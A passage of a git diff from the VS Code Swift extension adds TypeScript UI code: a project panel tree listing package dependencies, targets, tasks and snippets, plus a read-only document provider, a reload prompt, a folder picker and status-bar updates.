const contents = await fs.readdir(directoryPath); - const results: FileNode[] = []; - const excludes = configuration.excludePathsFromPackageDependencies; - for (const fileName of contents) { - if (excludes.includes(fileName)) { - continue; - } - const filePath = path.join(directoryPath, fileName); - const stats = await fs.stat(filePath); - results.push(new FileNode(fileName, filePath, stats.isDirectory())); - } - return results.sort((first, second) => { - if (first.isDirectory === second.isDirectory) { - // If both nodes are of the same type, sort them by name. - return first.name.localeCompare(second.name); - } else { - // Otherwise, sort directories first. - return first.isDirectory ? -1 : 1; - } - }); - } -} diff --git a/src/ui/ProjectPanelProvider.ts b/src/ui/ProjectPanelProvider.ts new file mode 100644 index 000000000..7e6615697 --- /dev/null +++ b/src/ui/ProjectPanelProvider.ts @@ -0,0 +1,898 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { convertPathToPattern, glob } from "fast-glob"; +import { existsSync } from "fs"; +import * as fs from "fs/promises"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { Dependency, ResolvedDependency, Target } from "../SwiftPackage"; +import { WorkspaceContext } from "../WorkspaceContext"; +import { FolderOperation } from "../WorkspaceContext"; +import configuration from "../configuration"; +import { SwiftTask, TaskPlatformSpecificConfig } from "../tasks/SwiftTaskProvider"; +import { getPlatformConfig, resolveTaskCwd } from "../utilities/tasks"; +import { Version } from "../utilities/version"; + +const LOADING_ICON = "loading~spin"; + +/** + * References: + * + * - Contributing views: + * https://code.visualstudio.com/api/references/contribution-points#contributes.views + * - Contributing welcome views: + * https://code.visualstudio.com/api/references/contribution-points#contributes.viewsWelcome + * - Implementing a TreeView: + * https://code.visualstudio.com/api/extension-guides/tree-view + */ + +/** + * Returns an array of file globs that define files that should be excluded from the project panel explorer. + */ +function excludedFilesForProjectPanelExplorer(): string[] { + const config = vscode.workspace.getConfiguration("files"); + const packageDepsExcludeList = configuration.excludePathsFromPackageDependencies; + if (!Array.isArray(packageDepsExcludeList)) { + throw new Error("Expected excludePathsFromPackageDependencies to be an array"); + } + + const vscodeExcludeList = config.get<{ [key: string]: boolean }>("exclude") ?? {}; + const vscodeFileTypesToExclude = Object.keys(vscodeExcludeList).filter( + key => vscodeExcludeList[key] + ); + return [...packageDepsExcludeList, ...vscodeFileTypesToExclude]; +} + +/** + * Returns a {@link FileNode} for every file or subdirectory + * in the given directory. + */ +async function getChildren( + directoryPath: string, + excludedFiles: string[], + parentId?: string, + mockFs?: (folder: string) => Promise +): Promise { + const contents = mockFs + ? await mockFs(directoryPath) + : await glob(`${convertPathToPattern(directoryPath)}/*`, { + ignore: excludedFiles, + absolute: true, + onlyFiles: false, + }); + const results: FileNode[] = []; + for (const filePath of contents) { + const stats = await fs.stat(filePath); + results.push( + new FileNode(path.basename(filePath), filePath, stats.isDirectory(), parentId, mockFs) + ); + } + return results.sort((first, second) => { + if (first.isDirectory === second.isDirectory) { + // If both nodes are of the same type, sort them by name. + return first.name.localeCompare(second.name); + } else { + // Otherwise, sort directories first. + return first.isDirectory ? -1 : 1; + } + }); +} + +/** + * A package in the Package Dependencies {@link vscode.TreeView TreeView}. + */ +export class PackageNode { + private id: string; + + /** + * "instanceof" has a bad effect in our nightly tests when the VSIX + * bundled source is used. For example: + * + * ``` + * vscode.commands.registerCommand(Commands.UNEDIT_DEPENDENCY, async (item, folder) => { + * if (item instanceof PackageNode) { + * return await uneditDependency(item.name, ctx, folder); + * } + * }), + * ``` + * + * So instead we'll check for this set boolean property. Even if the implementation of the + * {@link PackageNode} class changes, this property should not need to change + */ + static isPackageNode = (item: { __isPackageNode?: boolean }) => item.__isPackageNode ?? false; + __isPackageNode = true; + + constructor( + private dependency: ResolvedDependency, + private childDependencies: (dependency: Dependency) => ResolvedDependency[], + private parentId?: string, + private fs?: (folder: string) => Promise + ) { + this.id = + (this.parentId ? `${this.parentId}->` : "") + + `${this.name}-${(this.dependency.version || this.dependency.revision?.substring(0, 7)) ?? ""}`; + } + + get name(): string { + return this.dependency.identity; + } + + get location(): string { + return this.dependency.location; + } + + get type(): string { + return this.dependency.type; + } + + get path(): string { + return this.dependency.path ?? ""; + } + + toTreeItem(): vscode.TreeItem { + const item = new vscode.TreeItem(this.name, vscode.TreeItemCollapsibleState.Collapsed); + item.id = this.id; + item.description = this.getDescription(); + item.iconPath = new vscode.ThemeIcon(this.icon()); + item.contextValue = this.dependency.type; + item.accessibilityInformation = { label: `Package ${this.name}` }; + item.tooltip = this.path; + return item; + } + + icon() { + if (this.dependency.type === "editing") { + return "edit"; + } + if (this.dependency.type === "local") { + return "notebook-render-output"; + } + return "package"; + } + + async getChildren(): Promise { + const childDeps = this.childDependencies(this.dependency); + const files = await getChildren( + this.dependency.path, + excludedFilesForProjectPanelExplorer(), + this.id, + this.fs + ); + const childNodes = childDeps.map( + dep => new PackageNode(dep, this.childDependencies, this.id) + ); + + // Show dependencies first, then files. + return [...childNodes, ...files]; + } + + getDescription(): string { + switch (this.type) { + case "local": + return "local"; + case "editing": + return "editing"; + default: + return ( + // show the version if used, otherwise show the partial commit hash + (this.dependency.version || this.dependency.revision?.substring(0, 7)) ?? "" + ); + } + } +} + +/** + * A file or directory in the Package Dependencies {@link vscode.TreeView TreeView}. + */ +export class FileNode { + private id: string; + + constructor( + public name: string, + public path: string, + public isDirectory: boolean, + private parentId?: string, + private fs?: (folder: string) => Promise + ) { + this.id = (this.parentId ? `${this.parentId}->` : "") + `${this.path}`; + } + + toTreeItem(): vscode.TreeItem { + const item = new vscode.TreeItem( + this.name, + this.isDirectory + ? vscode.TreeItemCollapsibleState.Collapsed + : vscode.TreeItemCollapsibleState.None + ); + item.id = this.id; + item.resourceUri = vscode.Uri.file(this.path); + item.tooltip = this.path; + if (!this.isDirectory) { + item.command = { + command: "vscode.open", + arguments: [item.resourceUri], + title: "Open File", + }; + item.accessibilityInformation = { label: `File ${this.name}` }; + } else { + item.accessibilityInformation = { label: `Folder ${this.name}` }; + } + return item; + } + + async getChildren(): Promise { + return await getChildren( + this.path, + excludedFilesForProjectPanelExplorer(), + this.id, + this.fs + ); + } +} + +class TaskNode { + constructor( + public type: string, + public id: string, + public name: string, + private active: boolean + ) {} + + toTreeItem(): vscode.TreeItem { + const item = new vscode.TreeItem(this.name, vscode.TreeItemCollapsibleState.None); + item.id = `${this.type}-${this.id}`; + item.iconPath = new vscode.ThemeIcon(this.active ? LOADING_ICON : "play"); + item.contextValue = "task"; + item.accessibilityInformation = { label: this.name }; + item.command = { + command: "swift.runTask", + arguments: [this.name], + title: "Run Task", + }; + return item; + } + + getChildren(): TreeNode[] { + return []; + } +} + +/* + * Prefix a unique string on the test target name to avoid confusing it + * with another target that may share the same name. Targets can't start with % + * so this is guarenteed to be unique. + */ +function testTaskName(name: string): string { + return `%test-${name}`; +} + +function snippetTaskName(name: string): string { + return `%snippet-${name}`; +} + +class TargetNode { + private newPluginLayoutVersion = new Version(6, 0, 0); + + constructor( + public target: Target, + private folder: FolderContext, + private activeTasks: Set, + private fs?: (folder: string) => Promise + ) {} + + get name(): string { + return this.target.name; + } + + get args(): string[] { + return [this.name]; + } + + toTreeItem(): vscode.TreeItem { + const name = this.target.name; + const hasChildren = this.getChildren().length > 0; + const item = new vscode.TreeItem( + name, + hasChildren + ? vscode.TreeItemCollapsibleState.Expanded + : vscode.TreeItemCollapsibleState.None + ); + item.id = `${this.target.type}:${name}`; + item.iconPath = new vscode.ThemeIcon(this.icon()); + item.contextValue = this.contextValue(); + item.accessibilityInformation = { label: name }; + item.tooltip = `${name} (${this.target.type})`; + return item; + } + + private icon(): string { + if (this.activeTasks.has(this.name)) { + return LOADING_ICON; + } + + switch (this.target.type) { + case "executable": + return "output"; + case "library": + return "library"; + case "system-target": + return "server"; + case "binary": + return "file-binary"; + case "plugin": + return "plug"; + case "test": + if (this.activeTasks.has(testTaskName(this.name))) { + return LOADING_ICON; + } + return "test-view-icon"; + case "snippet": + if (this.activeTasks.has(snippetTaskName(this.name))) { + return LOADING_ICON; + } + return "notebook"; + } + } + + private contextValue(): string | undefined { + switch (this.target.type) { + case "executable": + return "runnable"; + case "snippet": + return "snippet_runnable"; + case "test": + return "test_runnable"; + default: + return undefined; + } + } + + getChildren(): TreeNode[] { + return this.buildPluginOutputs(this.folder.toolchain.swiftVersion); + } + + private buildToolGlobPattern(version: Version): string { + const base = this.folder.folder.fsPath.replace(/\\/g, "/"); + if (version.isGreaterThanOrEqual(this.newPluginLayoutVersion)) { + return `${base}/.build/plugins/outputs/*/${this.target.name}/*/*/**`; + } else { + return `${base}/.build/plugins/outputs/*/${this.target.name}/*/**`; + } + } + + private buildPluginOutputs(version: Version): TreeNode[] { + // Files in the `outputs` directory follow the pattern: + // .build/plugins/outputs/buildtoolplugin//destination//* + // This glob will capture all the files in the outputs directory for this target. + const pattern = this.buildToolGlobPattern(version); + const base = this.folder.folder.fsPath.replace(/\\/g, "/"); + const depth = version.isGreaterThanOrEqual(this.newPluginLayoutVersion) ? 4 : 3; + const matches = glob.sync(pattern, { onlyFiles: false, cwd: base, deep: depth }); + return matches.map(filePath => { + const pluginName = path.basename(filePath); + return new HeaderNode( + `${this.target.name}-${pluginName}`, + `${pluginName} - Generated Files`, + "debug-disconnect", + () => + getChildren( + filePath, + excludedFilesForProjectPanelExplorer(), + this.target.path, + this.fs + ) + ); + }); + } +} + +class HeaderNode { + constructor( + private id: string, + public name: string, + private icon: string, + private _getChildren: () => Promise + ) {} + + get path(): string { + return ""; + } + + toTreeItem(): vscode.TreeItem { + const item = new vscode.TreeItem(this.name, vscode.TreeItemCollapsibleState.Collapsed); + item.id = `${this.id}-${this.name}`; + item.iconPath = new vscode.ThemeIcon(this.icon); + item.contextValue = "header"; + item.accessibilityInformation = { label: this.name }; + return item; + } + + getChildren(): Promise { + return this._getChildren(); + } +} + +class ErrorNode { + constructor( + public name: string, + private folder: vscode.Uri + ) {} + + get path(): string { + return ""; + } + + toTreeItem(): vscode.TreeItem { + const item = new vscode.TreeItem(this.name, vscode.TreeItemCollapsibleState.None); + item.id = `error-${this.folder.fsPath}`; + item.iconPath = new vscode.ThemeIcon("error", new vscode.ThemeColor("errorForeground")); + item.contextValue = "error"; + item.accessibilityInformation = { label: this.name }; + item.tooltip = + "Could not build the Package.swift, fix the error to refresh the project panel"; + + item.command = { + command: "swift.openManifest", + arguments: [this.folder], + title: "Open Manifest", + }; + return item; + } + + getChildren(): Promise { + return Promise.resolve([]); + } +} + +/** + * A node in the Package Dependencies {@link vscode.TreeView TreeView}. + * + * Can be either a {@link PackageNode}, {@link FileNode}, {@link TargetNode}, {@link TaskNode}, {@link ErrorNode} or {@link HeaderNode}. + */ +export type TreeNode = PackageNode | FileNode | HeaderNode | TaskNode | TargetNode | ErrorNode; + +/** + * A {@link vscode.TreeDataProvider TreeDataProvider} for project dependencies, tasks and commands {@link vscode.TreeView TreeView}. + */ +export class ProjectPanelProvider implements vscode.TreeDataProvider { + private didChangeTreeDataEmitter = new vscode.EventEmitter< + TreeNode | undefined | null | void + >(); + private workspaceObserver?: vscode.Disposable; + private disposables: vscode.Disposable[] = []; + private activeTasks: Set = new Set(); + private lastComputedNodes: TreeNode[] = []; + private buildPluginOutputWatcher?: vscode.FileSystemWatcher; + private buildPluginFolderWatcher?: vscode.Disposable; + + onDidChangeTreeData = this.didChangeTreeDataEmitter.event; + + constructor(private workspaceContext: WorkspaceContext) { + // default context key to false. These will be updated as folders are given focus + workspaceContext.contextKeys.hasPackage = false; + workspaceContext.contextKeys.hasExecutableProduct = false; + workspaceContext.contextKeys.packageHasDependencies = false; + + this.observeTasks(workspaceContext); + } + + dispose() { + this.workspaceObserver?.dispose(); + this.disposables.forEach(d => d.dispose()); + this.disposables.length = 0; + } + + observeTasks(ctx: WorkspaceContext) { + this.disposables.push(new TaskPoller(() => this.didChangeTreeDataEmitter.fire())); + + this.disposables.push( + vscode.tasks.onDidStartTask(e => { + const taskId = e.execution.task.detail ?? e.execution.task.name; + this.activeTasks.add(taskId); + this.workspaceContext.logger.info( + `Project panel updating after task ${taskId} has started` + ); + this.didChangeTreeDataEmitter.fire(); + }), + vscode.tasks.onDidEndTask(e => { + const taskId = e.execution.task.detail ?? e.execution.task.name; + this.activeTasks.delete(taskId); + this.workspaceContext.logger.info( + `Project panel updating after task ${taskId} has ended` + ); + this.didChangeTreeDataEmitter.fire(); + }), + ctx.onDidStartBuild(e => { + if (e.launchConfig.runType === "snippet") { + this.activeTasks.add(snippetTaskName(e.targetName)); + } else { + this.activeTasks.add(e.targetName); + } + this.workspaceContext.logger.info("Project panel updating after build has started"); + this.didChangeTreeDataEmitter.fire(); + }), + ctx.onDidFinishBuild(e => { + if (e.launchConfig.runType === "snippet") { + this.activeTasks.delete(snippetTaskName(e.targetName)); + } else { + this.activeTasks.delete(e.targetName); + } + this.workspaceContext.logger.info( + "Project panel updating after build has finished" + ); + this.didChangeTreeDataEmitter.fire(); + }), + ctx.onDidStartTests(e => { + for (const target of e.targets) { + this.activeTasks.add(testTaskName(target)); + } + this.workspaceContext.logger.info("Project panel updating on test run start"); + this.didChangeTreeDataEmitter.fire(); + }), + ctx.onDidFinishTests(e => { + for (const target of e.targets) { + this.activeTasks.delete(testTaskName(target)); + } + this.workspaceContext.logger.info( + "Project panel updating after test run has finished" + ); + this.didChangeTreeDataEmitter.fire(); + }) + ); + + this.disposables.push( + vscode.workspace.onDidChangeConfiguration(e => { + if ( + e.affectsConfiguration("files.exclude") || + e.affectsConfiguration("swift.excludePathsFromPackageDependencies") + ) { + this.workspaceContext.logger.info( + "Project panel updating due to configuration changes" + ); + this.didChangeTreeDataEmitter.fire(); + } + }) + ); + } + + observeFolders(treeView: vscode.TreeView) { + this.workspaceObserver = this.workspaceContext.onDidChangeFolders( + ({ folder, operation }) => { + switch (operation) { + case FolderOperation.focus: + if (!folder) { + return; + } + this.watchBuildPluginOutputs(folder); + treeView.title = `Swift Project (${folder.name})`; + this.workspaceContext.logger.info( + `Project panel updating, focused folder ${folder.name}` + ); + this.didChangeTreeDataEmitter.fire(); + break; + case FolderOperation.unfocus: + treeView.title = `Swift Project`; + this.workspaceContext.logger.info( + `Project panel updating, unfocused folder` + ); + this.didChangeTreeDataEmitter.fire(); + break; + case FolderOperation.workspaceStateUpdated: + case FolderOperation.resolvedUpdated: + case FolderOperation.packageViewUpdated: + case FolderOperation.pluginsUpdated: + if (!folder) { + this.workspaceContext.logger.info( + `Project panel cannot update, "${operation}" event was provided with no folder.` + ); + return; + } + if (folder === this.workspaceContext.currentFolder) { + this.workspaceContext.logger.info( + `Project panel updating, "${operation}" for folder ${folder.name}` + ); + this.didChangeTreeDataEmitter.fire(); + } + } + } + ); + } + + watchBuildPluginOutputs(folderContext: FolderContext) { + if (this.buildPluginOutputWatcher) { + this.buildPluginOutputWatcher.dispose(); + } + if (this.buildPluginFolderWatcher) { + this.buildPluginFolderWatcher.dispose(); + } + + const fire = () => this.didChangeTreeDataEmitter.fire(); + const buildPath = path.join(folderContext.folder.fsPath, ".build/plugins/outputs"); + this.buildPluginFolderWatcher = watchForFolder( + buildPath, + () => { + this.buildPluginOutputWatcher = vscode.workspace.createFileSystemWatcher( + new vscode.RelativePattern(buildPath, "{*,*/*}") + ); + this.buildPluginOutputWatcher.onDidCreate(fire); + this.buildPluginOutputWatcher.onDidDelete(fire); + this.buildPluginOutputWatcher.onDidChange(fire); + }, + () => { + this.buildPluginOutputWatcher?.dispose(); + fire(); + } + ); + } + + getTreeItem(element: TreeNode): vscode.TreeItem { + return element.toTreeItem(); + } + + async getChildren(element?: TreeNode): Promise { + const folderContext = this.workspaceContext.currentFolder; + if (!folderContext) { + return []; + } + + if (!element && folderContext.hasResolveErrors) { + return [ + new ErrorNode("Error Parsing Package.swift", folderContext.folder), + ...this.lastComputedNodes, + ]; + } + const nodes = await this.computeChildren(folderContext, element); + + // If we're fetching the root nodes then save them in case we have an error later, + // in which case we show the ErrorNode along with the last known good nodes. + if (!element) { + this.lastComputedNodes = nodes; + } + return nodes; + } + + async computeChildren(folderContext: FolderContext, element?: TreeNode): Promise { + if (element) { + return element.getChildren(); + } + + const dependencies = await this.dependencies(); + const snippets = await this.snippets(); + const commands = await this.commands(); + + // TODO: Control ordering + return [ + ...(dependencies.length > 0 + ? [ + new HeaderNode( + "dependencies", + "Dependencies", + "circuit-board", + this.dependencies.bind(this) + ), + ] + : []), + new HeaderNode("targets", "Targets", "book", this.targets.bind(this)), + new HeaderNode( + "tasks", + "Tasks", + "debug-continue-small", + this.tasks.bind(this, folderContext) + ), + ...(snippets.length > 0 + ? [ + new HeaderNode("snippets", "Snippets", "notebook", () => + Promise.resolve(snippets) + ), + ] + : []), + ...(commands.length > 0 + ? [ + new HeaderNode("commands", "Commands", "debug-line-by-line", () => + Promise.resolve(commands) + ), + ] + : []), + ]; + } + + private async dependencies(): Promise { + const folderContext = this.workspaceContext.currentFolder; + if (!folderContext) { + return []; + } + this.workspaceContext.logger.info("Project panel refreshing dependencies"); + const pkg = folderContext.swiftPackage; + const rootDeps = await pkg.rootDependencies; + + rootDeps.forEach(dep => { + this.workspaceContext.logger.info(`\tAdding dependency: ${dep.identity}`); + }); + + if (this.workspaceContext.contextKeys.flatDependenciesList) { + const existenceMap = new Map(); + const gatherChildren = (dependencies: ResolvedDependency[]): ResolvedDependency[] => { + const result: ResolvedDependency[] = []; + for (const dep of dependencies) { + if (!existenceMap.has(dep.identity)) { + result.push(dep); + existenceMap.set(dep.identity, true); + } + const childDeps = pkg.childDependencies(dep); + result.push(...gatherChildren(childDeps)); + } + return result; + }; + + const allDeps = gatherChildren(rootDeps); + return allDeps.map(dependency => new PackageNode(dependency, () => [])); + } else { + const childDeps = pkg.childDependencies.bind(pkg); + return rootDeps.map(dep => new PackageNode(dep, childDeps)); + } + } + + private async targets(): Promise { + const folderContext = this.workspaceContext.currentFolder; + if (!folderContext) { + return []; + } + const targetSort = (node: TargetNode) => `${node.target.type}-${node.name}`; + const targets = await folderContext.swiftPackage.targets; + // Snipepts are shown under the Snippets header + return targets + .filter(target => target.type !== "snippet") + .map(target => new TargetNode(target, folderContext, this.activeTasks)) + .sort((a, b) => targetSort(a).localeCompare(targetSort(b))); + } + + private async tasks(folderContext: FolderContext): Promise { + const tasks = await vscode.tasks.fetchTasks({ type: "swift" }); + + return ( + tasks + // Plugin tasks are shown under the Commands header + .filter(task => { + const platform: TaskPlatformSpecificConfig | undefined = + getPlatformConfig(task); + return ( + !task.definition.cwd || + resolveTaskCwd(task, platform?.cwd ?? task.definition.cwd) === + folderContext.folder.fsPath + ); + }) + .map( + (task, i) => + new TaskNode( + "task", + `${task.definition.cwd}-${task.name}-${task.detail ?? ""}-${i}`, + task.name, + this.activeTasks.has(task.detail ?? task.name) + ) + ) + .sort((a, b) => a.name.localeCompare(b.name)) + ); + } + + private async commands(): Promise { + const provider = this.workspaceContext.pluginProvider; + const tasks = await provider.provideTasks(new vscode.CancellationTokenSource().token); + return tasks + .map( + (task, i) => + new TaskNode( + "command", + `${task.definition.cwd}-${task.name}-${task.detail ?? ""}-${i}`, + task.name, + this.activeTasks.has(task.detail ?? task.name) + ) + ) + .sort((a, b) => a.name.localeCompare(b.name)); + } + + private async snippets(): Promise { + const folderContext = this.workspaceContext.currentFolder; + if (!folderContext) { + return []; + } + const targets = await folderContext.swiftPackage.targets; + return targets + .filter(target => target.type === "snippet") + .flatMap(target => new TargetNode(target, folderContext, this.activeTasks)) + .sort((a, b) => a.name.localeCompare(b.name)); + } +} + +/* + * A simple task poller that checks for changes in the tasks every 5 seconds. + * This is a workaround for the lack of an event when tasks are added or removed. + */ +class TaskPoller implements vscode.Disposable { + private previousTasks: SwiftTask[] = []; + private timeout?: NodeJS.Timeout; + private static POLL_INTERVAL = 5000; + + constructor(private onTasksChanged: () => void) { + void this.pollTasks(); + } + + private async pollTasks() { + try { + const tasks = (await vscode.tasks.fetchTasks({ type: "swift" })) as SwiftTask[]; + const tasksChanged = + tasks.length !== this.previousTasks.length || + tasks.some((task, i) => { + const prev = this.previousTasks[i]; + const c1 = task.execution.command; + const c2 = prev.execution.command; + return ( + !prev || + task.name !== prev.name || + task.source !== prev.source || + task.definition.cwd !== prev.definition.cwd || + task.detail !== prev.detail || + c1 !== c2 + ); + }); + if (tasksChanged) { + this.previousTasks = tasks; + this.onTasksChanged(); + } + } catch { + // ignore errors + } + this.timeout = setTimeout(() => this.pollTasks(), TaskPoller.POLL_INTERVAL); + } + + dispose() { + if (this.timeout) { + clearTimeout(this.timeout); + this.timeout = undefined; + } + } +} + +/** + * Polls for the existence of a folder at the given path every 2.5 seconds. + * Notifies via the provided callbacks when the folder becomes available or is deleted. + */ +function watchForFolder( + folderPath: string, + onAvailable: () => void, + onDeleted: () => void +): vscode.Disposable { + const POLL_INTERVAL = 2500; + let folderExists = existsSync(folderPath); + + if (folderExists) { + onAvailable(); + } + + const interval = setInterval(() => { + const nowExists = existsSync(folderPath); + if (nowExists && !folderExists) { + folderExists = true; + onAvailable(); + } else if (!nowExists && folderExists) { + folderExists = false; + onDeleted(); + } + }, POLL_INTERVAL); + + return { + dispose: () => clearInterval(interval), + }; +} diff --git a/src/ui/ReadOnlyDocumentProvider.ts b/src/ui/ReadOnlyDocumentProvider.ts new file mode 100644 index 000000000..1674378eb --- /dev/null +++ b/src/ui/ReadOnlyDocumentProvider.ts @@ -0,0 +1,33 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs/promises"; +import * as vscode from "vscode"; + +/** + * Registers a {@link vscode.TextDocumentContentProvider TextDocumentContentProvider} that will display + * a readonly version of a file + */ +export function getReadOnlyDocumentProvider(): vscode.Disposable { + const provider = vscode.workspace.registerTextDocumentContentProvider("readonly", { + provideTextDocumentContent: async uri => { + try { + const contents = await fs.readFile(uri.fsPath, "utf8"); + return contents; + } catch (error) { + return `Failed to load swiftinterface ${uri.path}`; + } + }, + }); + return provider; +} diff --git a/src/ui/ReloadExtension.ts b/src/ui/ReloadExtension.ts new file mode 100644 index 000000000..e02157656 --- /dev/null +++ b/src/ui/ReloadExtension.ts @@ -0,0 +1,63 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { Workbench } from "../utilities/commands"; + +// eslint-disable-next-line @typescript-eslint/no-require-imports +import debounce = require("lodash.debounce"); + +/** + * Prompts the user to reload the extension in cases where we are unable to do + * so automatically. Only one of these prompts will be shown at a time. + * + * @param message the warning message to display to the user + * @param items extra buttons to display + * @returns the selected button or undefined if cancelled + */ +export function showReloadExtensionNotificationInstance() { + let inFlight: Promise<"Reload Extensions" | T | undefined> | null = null; + + return async function ( + message: string, + ...items: T[] + ): Promise<"Reload Extensions" | T | undefined> { + if (inFlight) { + return inFlight; + } + + const buttons: ("Reload Extensions" | T)[] = ["Reload Extensions", ...items]; + inFlight = (async () => { + try { + const selected = await vscode.window.showWarningMessage(message, ...buttons); + if (selected === "Reload Extensions") { + await vscode.commands.executeCommand(Workbench.ACTION_RELOADWINDOW); + } + return selected; + } finally { + inFlight = null; + } + })(); + + return inFlight; + }; +} + +// In case the user closes the dialog immediately we want to debounce showing it again +// for 10 seconds to prevent another popup perhaps immediately appearing. +export const showReloadExtensionNotification = debounce( + showReloadExtensionNotificationInstance(), + 10_000, + { leading: true } +); diff --git a/src/ui/SelectFolderQuickPick.ts b/src/ui/SelectFolderQuickPick.ts new file mode 100644 index 000000000..fce83ee70 --- /dev/null +++ b/src/ui/SelectFolderQuickPick.ts @@ -0,0 +1,64 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { WorkspaceContext } from "../WorkspaceContext"; + +type SelectFolderQuickPick = AllQuickPickItem | FolderQuickPickItem; + +interface AllQuickPickItem extends vscode.QuickPickItem { + type: "all"; +} + +interface FolderQuickPickItem extends vscode.QuickPickItem { + type: "folder"; + folder: FolderContext; +} + +/** + * Select a folder from the workspace context + * @param ctx + * @param labels Map "type" to the display label + * @returns The selected folder or undefined if there was no selection + */ +export async function selectFolder( + ctx: WorkspaceContext, + placeHolder: string, + labels: Record = {} +): Promise { + const quickPickItems: SelectFolderQuickPick[] = ctx.folders.map(folder => ({ + type: "folder", + folder, + label: folder.name, + detail: folder.workspaceFolder.uri.fsPath, + })); + quickPickItems.push({ type: "all", label: labels["all"] || "Generate For All Folders" }); + const selection = await vscode.window.showQuickPick(quickPickItems, { + matchOnDetail: true, + placeHolder, + }); + + const folders: FolderContext[] = []; + if (!selection) { + return folders; + } + + if (selection.type === "all") { + folders.push(...ctx.folders); + } else { + folders.push(selection.folder); + } + return folders; +} diff --git a/src/ui/StatusItem.ts b/src/ui/StatusItem.ts index bf42a2ead..cbea6aa89 100644 --- a/src/ui/StatusItem.ts +++ b/src/ui/StatusItem.ts @@ -1,30 +1,23 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import * as path from "path"; -class RunningTask { +export class RunningTask { constructor(public task: vscode.Task | string) {} get name(): string { - if (this.task instanceof vscode.Task) { - const folder = this.task.definition.cwd as string; - if (folder) { - return `${this.task.name} (${path.basename(folder)})`; - } else { - return this.task.name; - } + if (typeof this.task !== "string") { + return this.task.name; } else { return this.task; } @@ -43,6 +36,23 @@ export class StatusItem { this.item = vscode.window.createStatusBarItem(vscode.StatusBarAlignment.Left); } + /** + * Display status item while running a process/task + * @param task Task or process name to display status of + * @param process Code to run while displaying status + */ + async showStatusWhileRunning(task: vscode.Task | string, process: { (): Return }) { + this.start(task); + try { + const value = await process(); + this.end(task); + return value; + } catch (error) { + this.end(task); + throw error; + } + } + /** * Signals the start of a {@link vscode.Task Task}. * @@ -54,7 +64,22 @@ export class StatusItem { } const runningTask = new RunningTask(task); this.runningTasks.push(runningTask); - this.show(`$(sync~spin) ${runningTask.name}`); + + this.showTask(runningTask); + } + + /** + * Updates the status bar message for the running {@link vscode.Task Task}. + * + * This will display the message, preceded by a spinner animation. + */ + update(task: vscode.Task | string, message: string) { + const runningTask = this.runningTasks.find(element => element.task === task); + if (!runningTask) { + return; // This task is not running. + } + + this.showTask(runningTask, message); } /** @@ -73,15 +98,34 @@ export class StatusItem { this.hide(); } else { const taskToDisplay = this.runningTasks[this.runningTasks.length - 1]; - this.show(`$(sync~spin) ${taskToDisplay.name}`); + this.showTask(taskToDisplay); + } + } + + /** + * Show status item for task + * @param task task to show status item for + */ + private showTask(task: RunningTask, message?: string) { + message = message ?? task.name; + if (typeof task.task !== "string") { + this.show(`$(loading~spin) ${message}`, message, "workbench.action.tasks.showTasks"); + } else { + this.show(`$(loading~spin) ${message}`, message); } } /** * Shows the {@link vscode.StatusBarItem StatusBarItem} with the provided message. */ - private show(message: string) { + private show( + message: string, + accessibilityMessage: string | undefined = undefined, + command: string | undefined = undefined + ) { this.item.text = message; + this.item.accessibilityInformation = { label: accessibilityMessage ?? message }; + this.item.command = command; this.item.show(); } diff --git a/src/ui/SwiftBuildStatus.ts b/src/ui/SwiftBuildStatus.ts new file mode 100644 index 000000000..b90a48ef5 --- /dev/null +++ b/src/ui/SwiftBuildStatus.ts @@ -0,0 +1,172 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import configuration, { ShowBuildStatusOptions } from "../configuration"; +import { SwiftExecution } from "../tasks/SwiftExecution"; +import { checkIfBuildComplete, lineBreakRegex } from "../utilities/tasks"; +import { RunningTask, StatusItem } from "./StatusItem"; + +// eslint-disable-next-line @typescript-eslint/no-require-imports +import stripAnsi = require("strip-ansi"); + +/** + * Progress of `swift` build, parsed from the + * output, ex. `[6/7] Building main.swift` + */ +interface SwiftProgress { + completed: number; + total: number; +} + +/** + * This class will handle detecting and updating the status + * bar message as the `swift` process executes. + * + * @see {@link SwiftExecution} to see what and where the events come from + */ +export class SwiftBuildStatus implements vscode.Disposable { + private onDidStartTaskDisposible: vscode.Disposable; + + constructor(private statusItem: 